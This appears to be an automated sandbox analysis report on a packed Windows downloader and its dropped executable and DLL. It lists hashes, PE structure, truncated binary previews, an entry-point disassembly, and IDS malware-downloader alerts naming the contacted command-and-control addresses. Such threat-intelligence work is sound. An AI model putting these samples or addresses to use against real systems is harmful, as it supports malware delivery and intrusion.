	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	JwLT3elUtn.dll	Get hash	malicious	Unknown	Browse	107.163.43.161

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	202.108.0.52
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	202.108.0.52
	PO_11100011211.Vbs.vbs	Get hash	malicious	FormBook	Browse	202.108.0.52
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	202.108.0.52
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	202.108.0.52
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	LXS5itpTK7.exe	Get hash	malicious	Stealc	Browse	202.108.0.52
	SEejSLAS9f.exe	Get hash	malicious	Stealc	Browse	202.108.0.52

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\xrzyhhhnk\uycmiha.dll	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\1.txt

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2552
Entropy (8bit):	4.345161264711672
Encrypted:	false
SSDEEP:	24:8DCLwRcU3J3u7hn/ZjzyzJv7kt53hXzNc0VLlX8FcPtIRyrvAz3kxf2RdYCiVvMI:J6M/Z/gPutUyrvAIo3SVNAcOK
MD5:	80FC36E2FE8B4C1A5DC9C60B6907CC36
SHA1:	14C7296B50B83A55CB9CB43EF5709308A005FFDF
SHA-256:	259C9A7AAE6A9E644825B5AF878FD6A9D45FE841737F2065D1C8858C8D5549F9
SHA-512:	88C97F5D8DBB515C846732B85169EB0BA89E54D73656B26212B4A73EC1BA9F8DE9D69E67668CD368959454769FE5826B731215C9D0B0F029F996083CB859EDD1
Malicious:	false
Preview:	..2024-12-11 13:42..iOffset....2024-12-11 17:04..iOffset....2024-12-11 21:13..iOffset....2024-12-11 22:53..iOffset....2024-12-12 00:49..iOffset....2024-12-12 04:37..iOffset....2024-12-12 06:25..iOffset....2024-12-12 11:19..iOffset....2024-12-12 15:08..iOffset....2024-12-12 17:24..iOffset....2024-12-12 20:58..iOffset....2024-12-12 22:46..iOffset....2024-12-13 04:05..iOffset....2024-12-13 09:05..iOffset....2024-12-13 14:42..iOffset....2024-12-13 21:11..iOffset....2024-12-14 01:41..iOffset....2024-12-14 10:56..iOffset....2024-12-14 15:39..iOffset....2024-12-15 03:06..iOffset....2024-12-15 22:30..iOffset....2024-12-16 10:42..iOffset....2024-12-17 06:40..iOffset....2024-12-17 17:47..iOffset....2024-12-18 06:58..iOffset....2025-03-17 08:11..iOffset....2025-07-21 13:06..iOffset....2025-08-25 17:57..iOffset....2025-09-23 20:08..iOffset....2025-10-03 06:11..iOffset....2025-11-14 04:15..iOffset....2025-12-18 15:29..iOffset....2026-01-20 23:35..iOffset....2026-02-21 08:11..iOffset....2026-03-18 0

C:\wlbldvv.exe

Download File

Process:	C:\Users\user\Desktop\nt11qTrX4f.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	150896
Entropy (8bit):	7.068583784995364
Encrypted:	false
SSDEEP:	3072:oK4RNx6gb4RoIwZpx10ZENfrGSQ7sDU/ySkNAqN:ol6exiZuKoDkySkNAg
MD5:	C810480BB654EEE12B794A26504733C6
SHA1:	29C10B30CEDF7103F31D52823803E569737530CA
SHA-256:	E31163836E27237CAA7C174C95962B60BF8E5BDC1EFAF47817A337B3B77E9369
SHA-512:	49D652D917FB2E2DB2CCD0AC9091A0EB8A84114C70C3B6765DFF27BFA76FD501D9C487EFE9729436752225287255AF444419697D109250A61E30CFBF8AE77447
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ@.....................@....N........!.L.!packed by nspack$@...PE..L...@..U.........................@...C.......P....@..........................`...............................................P.......P..............................................................................................................nsp0.....@.......2..................`...nsp1.........P.......4..............`....imports.....P......................@....................................................................................XR@............ S@...........V..j...1....XS@....R@....H.Q...P@...^..........V........D$..t.V..0.......^.......0..............................8s@...........h..@...2..Y.....8s@...................UVW. p@..\|$..f....TP@.P...R@..-.R@..............D$0..;.}...3...~&S.\$0.........F;..T...T..\|..[_^]....._^]...............f2..SW.....3..\|$..D$...f.j.h....j.j....$$...j.h....P...P@.....u._3.[.......U..$....V.....3..\|$.P.L$..T$.Qh....RS.D$$.......P@..L$...t,.}...$.........t$.....

C:\xrzyhhhnk\uycmiha.dll

Download File

Process:	C:\wlbldvv.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	43464
Entropy (8bit):	7.908920555883916
Encrypted:	false
SSDEEP:	768:t0inj1jJ5OeUMhBNSqHvMjjAipMkuG30sv2xEZkWldADAKPIp:t0ipV5uMhBt0jjAiusv22ZkWTOAKP8
MD5:	36E3FB5964D663272CF1169E1E1CA478
SHA1:	58115E08B49505BCBBB5C88A28A86222BA18D5D4
SHA-256:	C7C41689DE030DF0F78F471422FA2A6383B36E77C94E7F6F124A96FEB3E27ED7
SHA-512:	DAFF53B11AA400437A06287707A334A09661C1EF7D0FD8BEAF1A874C79C16FE45BD1188343D0623E839D3EAD5EA2DD90896E37CCF3B252C7220C74989A9BA442
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Joe Sandbox View:	Filename: otsIBG7J9b.exe, Detection: malicious, Browse
Preview:	MZ@.....................@.............!.L.!packed by nspack$@...PE..L...u..U...........!................................................................................................. ..8.......x............................ ...............................................................K......................nsp0................................`...nsp1...............................`...............D.................................................... .......K.......................text..................................................UBome........0..........UBome........H...X.................4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...................z.......z.?.................................S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.E.4...L.....C.o.m.p.a.n.y.N.a.m.e.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...x.(...F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.....P.a.g.e. .M.a.n.a.g.e.m.e.n.t. .M.o.d.u.l.e. .f.o.r. .S.c.a.n.S.o.f.t. .S.D.K...>.....F.i.l.e.V.e.r.s.i.o.n.....1.4...0...4.7.3.0...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.06606311465794
TrID:	Win32 Executable (generic) a (10002005/4) 99.98% DOS Executable Generic (2002/1) 0.02%
File name:	nt11qTrX4f.exe
File size:	150'480 bytes
MD5:	1e399fb89a283bd6bb2c1acade5bfe5a
SHA1:	31eb15105c302052e16161e42568d39a73301064
SHA256:	053a2c39045f97fd449d4ff77a323f6fae8af944814cf85250fc52be3147bab2
SHA512:	a45c2fab4795dfa82e1924fa9bfdd8a86d7c9a96946b08e31a728becd1a6507c1e4e70bc83d7cc89a9c33e89ebf113f868afc2a35a91567e1da8cc0ac1007786
SSDEEP:	3072:oK4RNx6gb4RoIwZpx10ZENfrGSQ7sDU/ySkNAq:ol6exiZuKoDkySkNA
TLSH:	E2E3CFCE1FAACFDBD2201C75D0B456F782669C99DA2147978385FC9DB432CC19D3222A
File Content Preview:	MZ@.....................@....N........!.L.!packed by nspack$@...PE..L...@..U.........................@...C.......P....@..........................`...............................................P.......P.....................................................

File Icon


Icon Hash:	2f756cf369ecd065

Static PE Info

General

Entrypoint:	0x4043ec
Entrypoint Section:	nsp0
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x55F3B340 [Sat Sep 12 05:08:16 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	50653b48ceaf410366f5fbbfa10c793a

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00405B28h
push 004043E0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [004052CCh]
pop ecx
or dword ptr [004074A4h], FFFFFFFFh
or dword ptr [004074A8h], FFFFFFFFh
call dword ptr [00405270h]
mov ecx, dword ptr [00407498h]
mov dword ptr [eax], ecx
call dword ptr [00405274h]
mov ecx, dword ptr [00407494h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00405278h]
mov eax, dword ptr [eax]
mov dword ptr [004074A0h], eax
call 00007F24CC8E7F1Bh
cmp dword ptr [00407330h], ebx
jne 00007F24CC8E7E0Eh
push 0040456Eh
call dword ptr [0040527Ch]
pop ecx
call 00007F24CC8E7EEDh
push 00407014h
push 00407010h
call 00007F24CC8E7ED8h
mov eax, dword ptr [00407490h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [0040748Ch]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00405284h]
push 0040700Ch
push 00407000h
call 00007F24CC8E7EA5h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25000	0x8c	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0xc84	nsp1
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
nsp0	0x1000	0x14000	0x13200	7c639746e2c53437a99e480e3227eaa4	False	0.6932444852941176	data	6.956476287195321	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nsp1	0x15000	0x10000	0xe200	461dde8f27476af68339aa689c7eb6b6	False	0.949910121681416	data	7.886458519780143	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.imports	0x25000	0x1000	0x600	58552030faf2e3f62c160600d0c6ea8b	False	0.3483072916666667	data	3.415921246957483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
HTM	0x9754	0xa9c8	data	Chinese	China	0.9755199705503406
RT_ICON	0x8c84	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.10838150289017341
RT_ICON	0x91ec	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.18786127167630057
RT_ICON	0x1571c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.14739884393063585
RT_GROUP_ICON	0x15280	0x14	data			1.25
RT_GROUP_ICON	0x1411c	0x14	data			1.1
RT_GROUP_ICON	0x14130	0x14	data			1.25
RT_VERSION	0x15294	0x488	data	English	United States	0.3741379310344828
None	0x14144	0xaa	data	Chinese	China	0.40588235294117647

Imports

DLL	Import
KERNEL32.DLL	DeleteFileA, CloseHandle, ReadFile, CreateFileA, ExitProcess, WinExec, WriteFile, Sleep, LockResource, SizeofResource, LoadResource, CreateProcessA, GetModuleFileNameA, CreateDirectoryA, FindResourceA, WideCharToMultiByte, lstrlenW, MultiByteToWideChar, lstrlenA, GetModuleHandleA, GetStartupInfoA, GetTickCount
MFC42.DLL
MSVCRT.DLL	_controlfp, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, _onexit, __dllonexit, fopen, fprintf, fclose, _mbsicmp, _mbscmp, __CxxFrameHandler, _except_handler3, srand, rand, __p___argv, _setmbcp, __set_app_type
OLEAUT32.DLL	SysAllocStringLen, SysAllocString, VariantClear, SysFreeString
USER32.DLL	IsIconic, EnableWindow, GetSystemMetrics, wsprintfA, GetClientRect, DrawIcon, GetSystemMenu, AppendMenuA, SendMessageA, LoadIconA
OLE32.DLL	CoInitialize, CoUninitialize

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	55132	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58515	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64618	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65434	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	60748	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64945	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	59071	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	52865	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61785	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58867	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49214	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61654	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53913	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	54089	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	56768	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	60194	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61096	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64503	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58066	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64507	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58062	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65050	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61582	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51770	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	60128	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51769	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58739	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61250	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	57925	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	63076	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64687	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51799	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64881	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51668	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64884	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53786	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	56639	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61253	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64800	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	59341	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58058	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61296	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	52654	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	59142	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	65455	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	59278	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49366	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	63071	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53933	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	61224	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	60387	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51287	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	63169	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	60991	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64505	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	59959	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	63052	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	53964	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58064	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51765	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	63057	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64807	107.163.241.232	12354	TCP
2024-12-11T16:25:05.568480+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	58209	107.163.241.232	12354	TCP
2024-12-11T16:25:18.524847+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49728	107.163.241.232	12354	TCP
2024-12-11T16:25:18.540758+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49729	107.163.241.232	12354	TCP
2024-12-11T16:25:20.908814+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49745	107.163.241.232	12354	TCP
2024-12-11T16:25:20.911411+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49746	107.163.241.232	12354	TCP
2024-12-11T16:25:21.768778+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49760	202.108.0.52	80	TCP
2024-12-11T16:25:22.678750+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49766	107.163.241.232	12354	TCP
2024-12-11T16:25:22.678811+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49764	107.163.241.232	12354	TCP
2024-12-11T16:25:24.500256+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49783	202.108.0.52	80	TCP
2024-12-11T16:25:24.934602+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49780	107.163.241.232	12354	TCP
2024-12-11T16:25:25.067327+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49782	107.163.241.232	12354	TCP
2024-12-11T16:25:26.746730+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49801	107.163.241.232	12354	TCP
2024-12-11T16:25:26.746782+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49798	107.163.241.232	12354	TCP
2024-12-11T16:25:29.001765+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49814	107.163.241.232	12354	TCP
2024-12-11T16:25:29.126404+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49816	107.163.241.232	12354	TCP
2024-12-11T16:25:31.391594+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49842	107.163.241.232	12354	TCP
2024-12-11T16:25:31.580672+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49846	107.163.241.232	12354	TCP
2024-12-11T16:25:33.240716+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49867	107.163.241.232	12354	TCP
2024-12-11T16:25:33.240938+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49870	107.163.241.232	12354	TCP
2024-12-11T16:25:35.470358+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49888	107.163.241.232	12354	TCP
2024-12-11T16:25:35.578975+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49891	107.163.241.232	12354	TCP
2024-12-11T16:25:37.256091+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49916	107.163.241.232	12354	TCP
2024-12-11T16:25:37.256203+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49914	107.163.241.232	12354	TCP
2024-12-11T16:25:39.500437+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49932	107.163.241.232	12354	TCP
2024-12-11T16:25:39.736317+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49938	107.163.241.232	12354	TCP
2024-12-11T16:25:41.383140+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49966	107.163.241.232	12354	TCP
2024-12-11T16:25:41.383189+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49959	107.163.241.232	12354	TCP
2024-12-11T16:25:43.626671+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49983	107.163.241.232	12354	TCP
2024-12-11T16:25:43.735532+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49985	107.163.241.232	12354	TCP
2024-12-11T16:25:45.396600+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50011	107.163.241.232	12354	TCP
2024-12-11T16:25:45.396609+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50014	107.163.241.232	12354	TCP
2024-12-11T16:25:47.657437+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50034	107.163.241.232	12354	TCP
2024-12-11T16:25:47.798358+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50036	107.163.241.232	12354	TCP
2024-12-11T16:25:49.521670+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50065	107.163.241.232	12354	TCP
2024-12-11T16:25:49.521843+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50062	107.163.241.232	12354	TCP
